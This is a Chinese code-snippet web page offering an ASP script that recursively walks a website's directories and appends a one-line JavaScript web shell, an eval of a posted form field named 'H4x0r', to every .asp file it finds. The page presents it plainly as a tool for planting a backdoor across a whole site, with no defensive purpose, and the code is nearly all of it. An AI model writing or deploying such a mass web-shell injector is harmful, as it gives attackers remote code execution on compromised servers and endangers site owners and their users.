FSO遍历目录实现全站插马的代码


<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>



相关阅读:
PHP实现用户认证及管理完全源码
网页注释在IE中产生文字溢出
解决由于操作不当出现的ERROR 1005错误
PHP教程:strtok()函数实际应用
sql2005 存储过程分页示例代码
arrayToJson将数组转化为json格式的js代码
学堂:当前Linux系统运行的各种参数
在ASP里面创建GUID
来自国外的一款Js图片浏览效果
css 表单效果
将Oracle中的数据更改后出错的解决方法
在DIV容器中使用浮动元素的方法
fedora8 下mysql 安装的安装方法
Vista系统下硬盘IDE模式安装后开启AHCI的方法
快速导航

Copyright © 2016 phpStudy |